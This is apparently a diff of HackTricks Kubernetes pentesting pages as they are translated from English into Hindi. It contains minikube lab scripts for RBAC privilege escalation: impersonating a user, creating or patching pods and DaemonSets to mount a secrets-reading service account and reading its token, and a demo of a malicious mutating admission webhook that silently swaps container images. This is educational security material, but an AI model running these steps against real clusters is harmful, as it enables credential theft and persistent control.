**Example from** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
यदि एक हमलावर किसी तरह **Mutationg Admission Controller को इंजेक्ट** करने में सफल हो जाता है, तो वह **पहले से प्रमाणित अनुरोधों को संशोधित** करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रहना।
|
||||
|
||||
**उदाहरण** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
|
||||
cd malicious-admission-controller-webhook-demo
|
||||
./deploy.sh
|
||||
kubectl get po -n webhook-demo -w
|
||||
```
|
||||
|
||||
Check the status to see if it's ready:
|
||||
|
||||
स्थिति की जांच करें कि क्या यह तैयार है:
|
||||
```bash
|
||||
kubectl get mutatingwebhookconfigurations
|
||||
kubectl get deploy,svc -n webhook-demo
|
||||
```
|
||||
|
||||

|
||||
|
||||
Then deploy a new pod:
|
||||
|
||||
फिर एक नया पॉड तैनात करें:
|
||||
```bash
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
|
||||
When you can see `ErrImagePull` error, check the image name with either of the queries:
|
||||
|
||||
जब आप `ErrImagePull` त्रुटि देख सकते हैं, तो छवि नाम की जांच करें किसी एक प्रश्न के साथ:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||
|
||||

|
||||
|
||||
As you can see in the above image, we tried running image `nginx` but the final executed image is `rewanthtammana/malicious-image`. What just happened!!?
|
||||
जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने `nginx` इमेज चलाने की कोशिश की लेकिन अंतिम निष्पादित इमेज `rewanthtammana/malicious-image` है। क्या हुआ!!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed:
|
||||
|
||||
`./deploy.sh` स्क्रिप्ट एक म्यूटेटिंग वेबहुक एडमिशन कंट्रोलर स्थापित करती है, जो इसके कॉन्फ़िगरेशन लाइनों में निर्दिष्ट के अनुसार Kubernetes API के अनुरोधों को संशोधित करती है, जो देखे गए परिणामों को प्रभावित करती है:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
Op: "replace",
|
||||
Path: "/spec/containers/0/image",
|
||||
Value: "rewanthtammana/malicious-image",
|
||||
})
|
||||
```
|
||||
|
||||
The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`.
|
||||
|
||||
## OPA Gatekeeper bypass
|
||||
@@ -662,20 +604,20 @@ The above snippet replaces the first container image in every pod with `rewantht
|
||||
|
||||
## Best Practices
|
||||
|
||||
### **Disabling Automount of Service Account Tokens**
|
||||
### **Service Account Tokens के Automount को बंद करना**
|
||||
|
||||
- **Pods and Service Accounts**: By default, pods mount a service account token. To enhance security, Kubernetes allows the disabling of this automount feature.
|
||||
- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
|
||||
- **Pods और Service Accounts**: डिफ़ॉल्ट रूप से, pods एक सेवा खाता टोकन को माउंट करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस automount सुविधा को बंद करने की अनुमति देता है।
|
||||
- **कैसे लागू करें**: सेवा खातों या pods की कॉन्फ़िगरेशन में `automountServiceAccountToken: false` सेट करें, Kubernetes संस्करण 1.6 से शुरू।
|
||||
|
||||
### **Restrictive User Assignment in RoleBindings/ClusterRoleBindings**
|
||||
### **RoleBindings/ClusterRoleBindings में प्रतिबंधात्मक उपयोगकर्ता असाइनमेंट**
|
||||
|
||||
- **Selective Inclusion**: Ensure that only necessary users are included in RoleBindings or ClusterRoleBindings. Regularly audit and remove irrelevant users to maintain tight security.
|
||||
- **चयनात्मक समावेश**: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता RoleBindings या ClusterRoleBindings में शामिल हैं। नियमित रूप से ऑडिट करें और अप्रासंगिक उपयोगकर्ताओं को हटाएं ताकि सुरक्षा मजबूत बनी रहे।
|
||||
|
||||
### **Namespace-Specific Roles Over Cluster-Wide Roles**
|
||||
### **Namespace-विशिष्ट Roles पर Cluster-Wide Roles**
|
||||
|
||||
- **Roles vs. ClusterRoles**: Prefer using Roles and RoleBindings for namespace-specific permissions rather than ClusterRoles and ClusterRoleBindings, which apply cluster-wide. This approach offers finer control and limits the scope of permissions.
|
||||
- **Roles बनाम ClusterRoles**: ClusterRoles और ClusterRoleBindings के बजाय namespace-specific अनुमतियों के लिए Roles और RoleBindings का उपयोग करना पसंद करें, जो क्लस्टर-व्यापी लागू होते हैं। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों के दायरे को सीमित करता है।
|
||||
|
||||
### **Use automated tools**
|
||||
### **स्वचालित उपकरणों का उपयोग करें**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/cyberark/KubiScan
|
||||
@@ -696,7 +638,3 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+256
-272
@@ -2,24 +2,23 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
You can run these labs just inside **minikube**.
|
||||
आप इन प्रयोगशालाओं को **minikube** के अंदर चला सकते हैं।
|
||||
|
||||
## Pod Creation -> Escalate to ns SAs
|
||||
|
||||
We are going to create:
|
||||
हम निम्नलिखित बनाने जा रहे हैं:
|
||||
|
||||
- A **Service account "test-sa"** with a cluster privilege to **read secrets**
|
||||
- A ClusterRole "test-cr" and a ClusterRoleBinding "test-crb" will be created
|
||||
- **Permissions** to list and **create** pods to a user called "**Test**" will be given
|
||||
- A Role "test-r" and RoleBinding "test-rb" will be created
|
||||
- Then we will **confirm** that the SA can list secrets and that the user Test can list a pods
|
||||
- Finally we will **impersonate the user Test** to **create a pod** that includes the **SA test-sa** and **steal** the service account **token.**
|
||||
- This is the way yo show the user could escalate privileges this way
|
||||
- एक **Service account "test-sa"** जो **secrets** पढ़ने के लिए क्लस्टर विशेषाधिकार के साथ है
|
||||
- एक ClusterRole "test-cr" और एक ClusterRoleBinding "test-crb" बनाया जाएगा
|
||||
- एक उपयोगकर्ता "**Test**" को pods की सूची बनाने और **create** करने के लिए **अनुमतियाँ** दी जाएंगी
|
||||
- एक Role "test-r" और RoleBinding "test-rb" बनाया जाएगा
|
||||
- फिर हम **पुष्टि** करेंगे कि SA secrets की सूची बना सकता है और उपयोगकर्ता Test pods की सूची बना सकता है
|
||||
- अंत में, हम **उपयोगकर्ता Test का अनुकरण करेंगे** ताकि **एक pod** बनाया जा सके जिसमें **SA test-sa** हो और **token** चुराया जा सके।
|
||||
- यह दिखाने का तरीका है कि उपयोगकर्ता इस तरह विशेषाधिकार बढ़ा सकता है
|
||||
|
||||
> [!NOTE]
|
||||
> To create the scenario an admin account is used.\
|
||||
> Moreover, to **exfiltrate the sa token** in this example the **admin account is used** to exec inside the created pod. However, **as explained here**, the **declaration of the pod could contain the exfiltration of the token**, so the "exec" privilege is not necesario to exfiltrate the token, the **"create" permission is enough**.
|
||||
|
||||
> परिदृश्य बनाने के लिए एक प्रशासनिक खाता उपयोग किया जाता है।\
|
||||
> इसके अलावा, इस उदाहरण में **sa token** को **exfiltrate** करने के लिए **administrative account** का उपयोग किया जाता है ताकि बनाए गए pod के अंदर exec किया जा सके। हालाँकि, **जैसा कि यहाँ समझाया गया है**, pod की **घोषणा में token के exfiltration** को शामिल किया जा सकता है, इसलिए "exec" विशेषाधिकार token को exfiltrate करने के लिए आवश्यक नहीं है, **"create" अनुमति पर्याप्त है**।
|
||||
```bash
|
||||
# Create Service Account test-sa
|
||||
# Create role and rolebinding to give list and create permissions over pods in default namespace to user Test
|
||||
@@ -28,53 +27,53 @@ We are going to create:
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
name: test-sa
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r
|
||||
name: test-r
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
name: test-rb
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
- kind: User
|
||||
name: Test
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
- kind: User
|
||||
name: Test
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-cr
|
||||
name: test-cr
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: test-crb
|
||||
name: test-crb
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
namespace: default
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
- kind: ServiceAccount
|
||||
namespace: default
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
||||
|
||||
# Check test-sa can access kube-system secrets
|
||||
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
|
||||
@@ -86,17 +85,17 @@ kubectl --as Test -n default get pods
|
||||
echo "apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: test-pod
|
||||
namespace: default
|
||||
name: test-pod
|
||||
namespace: default
|
||||
spec:
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100000']
|
||||
serviceAccountName: test-sa
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true"| kubectl --as Test apply -f -
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100000']
|
||||
serviceAccountName: test-sa
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true"| kubectl --as Test apply -f -
|
||||
|
||||
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
||||
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
||||
@@ -109,9 +108,7 @@ kubectl delete rolebinding test-rb
|
||||
kubectl delete role test-r
|
||||
kubectl delete serviceaccount test-sa
|
||||
```
|
||||
|
||||
## Create Daemonset
|
||||
|
||||
## डेमनसेट बनाएं
|
||||
```bash
|
||||
# Create Service Account test-sa
|
||||
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
|
||||
@@ -120,51 +117,51 @@ kubectl delete serviceaccount test-sa
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
name: test-sa
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r
|
||||
name: test-r
|
||||
rules:
|
||||
- apiGroups: ["apps"]
|
||||
resources: ["daemonsets"]
|
||||
verbs: ["get", "list", "create"]
|
||||
- apiGroups: ["apps"]
|
||||
resources: ["daemonsets"]
|
||||
verbs: ["get", "list", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
name: test-rb
|
||||
subjects:
|
||||
- kind: User
|
||||
name: Test
|
||||
- kind: User
|
||||
name: Test
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-cr
|
||||
name: test-cr
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: test-crb
|
||||
name: test-crb
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
namespace: default
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
- kind: ServiceAccount
|
||||
namespace: default
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
||||
|
||||
# Check test-sa can access kube-system secrets
|
||||
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
|
||||
@@ -176,25 +173,25 @@ kubectl --as Test -n default get daemonsets
|
||||
echo "apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: default
|
||||
name: alpine
|
||||
namespace: default
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
serviceAccountName: test-sa
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
serviceAccountName: test-sa
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
||||
|
||||
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
||||
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
||||
@@ -207,13 +204,11 @@ kubectl delete rolebinding test-rb
|
||||
kubectl delete role test-r
|
||||
kubectl delete serviceaccount test-sa
|
||||
```
|
||||
|
||||
### Patch Daemonset
|
||||
|
||||
In this case we are going to **patch a daemonset** to make its pod load our desired service account.
|
||||
|
||||
If your user has the **verb update instead of patch, this won't work**.
|
||||
इस मामले में हम **daemonset को पैच** करने जा रहे हैं ताकि इसका पॉड हमारी इच्छित सेवा खाता लोड कर सके।
|
||||
|
||||
यदि आपके उपयोगकर्ता के पास **verb update है, न कि patch, तो यह काम नहीं करेगा**।
|
||||
```bash
|
||||
# Create Service Account test-sa
|
||||
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
|
||||
@@ -222,73 +217,73 @@ If your user has the **verb update instead of patch, this won't work**.
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
name: test-sa
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r
|
||||
name: test-r
|
||||
rules:
|
||||
- apiGroups: ["apps"]
|
||||
resources: ["daemonsets"]
|
||||
verbs: ["get", "list", "patch"]
|
||||
- apiGroups: ["apps"]
|
||||
resources: ["daemonsets"]
|
||||
verbs: ["get", "list", "patch"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
name: test-rb
|
||||
subjects:
|
||||
- kind: User
|
||||
name: Test
|
||||
- kind: User
|
||||
name: Test
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-cr
|
||||
name: test-cr
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: test-crb
|
||||
name: test-crb
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
namespace: default
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
- kind: ServiceAccount
|
||||
namespace: default
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: default
|
||||
name: alpine
|
||||
namespace: default
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
automountServiceAccountToken: false
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100']' | kubectl apply -f -
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
automountServiceAccountToken: false
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100']' | kubectl apply -f -
|
||||
|
||||
# Check user User can get pods in namespace default
|
||||
kubectl --as Test -n default get daemonsets
|
||||
@@ -297,25 +292,25 @@ kubectl --as Test -n default get daemonsets
|
||||
echo "apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: default
|
||||
name: alpine
|
||||
namespace: default
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
serviceAccountName: test-sa
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
serviceAccountName: test-sa
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
||||
|
||||
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
||||
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
||||
@@ -328,86 +323,84 @@ kubectl delete rolebinding test-rb
|
||||
kubectl delete role test-r
|
||||
kubectl delete serviceaccount test-sa
|
||||
```
|
||||
|
||||
## Doesn't work
|
||||
|
||||
### Create/Patch Bindings
|
||||
|
||||
**Doesn't work:**
|
||||
|
||||
- **Create a new RoleBinding** just with the verb **create**
|
||||
- **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
|
||||
- You cannot do this to assign the role to yourself or to a different SA
|
||||
- **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
|
||||
- You cannot do this to assign the role to yourself or to a different SA
|
||||
**काम नहीं करता:**
|
||||
|
||||
- **एक नया RoleBinding बनाएं** केवल क्रिया **create** के साथ
|
||||
- **एक नया RoleBinding बनाएं** केवल क्रिया **patch** के साथ (आपको बाइंडिंग अनुमतियाँ होनी चाहिए)
|
||||
- आप इसे अपने लिए या किसी अन्य SA को भूमिका सौंपने के लिए नहीं कर सकते
|
||||
- **एक नए RoleBinding को संशोधित करें** केवल क्रिया **patch** के साथ (आपको बाइंडिंग अनुमतियाँ होनी चाहिए)
|
||||
- आप इसे अपने लिए या किसी अन्य SA को भूमिका सौंपने के लिए नहीं कर सकते
|
||||
```bash
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
name: test-sa
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa2
|
||||
name: test-sa2
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r
|
||||
name: test-r
|
||||
rules:
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["rolebindings"]
|
||||
verbs: ["get", "patch"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["rolebindings"]
|
||||
verbs: ["get", "patch"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
name: test-rb
|
||||
subjects:
|
||||
- kind: User
|
||||
name: Test
|
||||
- kind: User
|
||||
name: Test
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r2
|
||||
name: test-r2
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb2
|
||||
name: test-rb2
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r2
|
||||
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
||||
kind: Role
|
||||
name: test-r2
|
||||
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
||||
|
||||
# Create a pod as user Test with the SA test-sa (privesc step)
|
||||
echo "apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-r2
|
||||
name: test-r2
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa2
|
||||
apiGroup: ""
|
||||
- kind: ServiceAccount
|
||||
name: test-sa2
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r2
|
||||
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
|
||||
kind: Role
|
||||
name: test-r2
|
||||
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
|
||||
|
||||
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
||||
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
||||
@@ -420,65 +413,63 @@ kubectl delete role test-r2
|
||||
kubectl delete serviceaccount test-sa
|
||||
kubectl delete serviceaccount test-sa2
|
||||
```
|
||||
|
||||
### Bind explicitly Bindings
|
||||
|
||||
In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) it's mentioned that if a SA can create a Binding and has explicitly Bind permissions over the Role/Cluster role, it can create bindings even using Roles/ClusterRoles with permissions that it doesn't have.\
|
||||
However, it didn't work for me:
|
||||
|
||||
In the "Privilege Escalation Prevention and Bootstrapping" section of [https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/](https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/) यह उल्लेख किया गया है कि यदि एक SA एक Binding बना सकता है और Role/Cluster role पर स्पष्ट रूप से Bind अनुमतियाँ हैं, तो यह उन Roles/ClusterRoles के साथ बाइंडिंग बना सकता है जिनके पास अनुमतियाँ नहीं हैं।\
|
||||
हालांकि, यह मेरे लिए काम नहीं किया:
|
||||
```yaml
|
||||
# Create 2 SAs, give one of them permissions to create clusterrolebindings
|
||||
# and bind permissions over the ClusterRole "admin"
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
name: test-sa
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa2
|
||||
name: test-sa2
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-cr
|
||||
name: test-cr
|
||||
rules:
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["clusterrolebindings"]
|
||||
verbs: ["get", "create"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io/v1"]
|
||||
resources: ["clusterroles"]
|
||||
verbs: ["bind"]
|
||||
resourceNames: ["admin"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["clusterrolebindings"]
|
||||
verbs: ["get", "create"]
|
||||
- apiGroups: ["rbac.authorization.k8s.io/v1"]
|
||||
resources: ["clusterroles"]
|
||||
verbs: ["bind"]
|
||||
resourceNames: ["admin"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: test-crb
|
||||
name: test-crb
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
namespace: default
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
namespace: default
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
' | kubectl apply -f -
|
||||
|
||||
# Try to bind the ClusterRole "admin" with the second SA (won't work)
|
||||
echo 'apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: test-crb2
|
||||
name: test-crb2
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa2
|
||||
namespace: default
|
||||
- kind: ServiceAccount
|
||||
name: test-sa2
|
||||
namespace: default
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: admin
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: ClusterRole
|
||||
name: admin
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
' | kubectl --as system:serviceaccount:default:test-sa apply -f -
|
||||
|
||||
# Clean environment
|
||||
@@ -496,58 +487,58 @@ kubectl delete serviceaccount test-sa
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
name: test-sa
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa2
|
||||
name: test-sa2
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
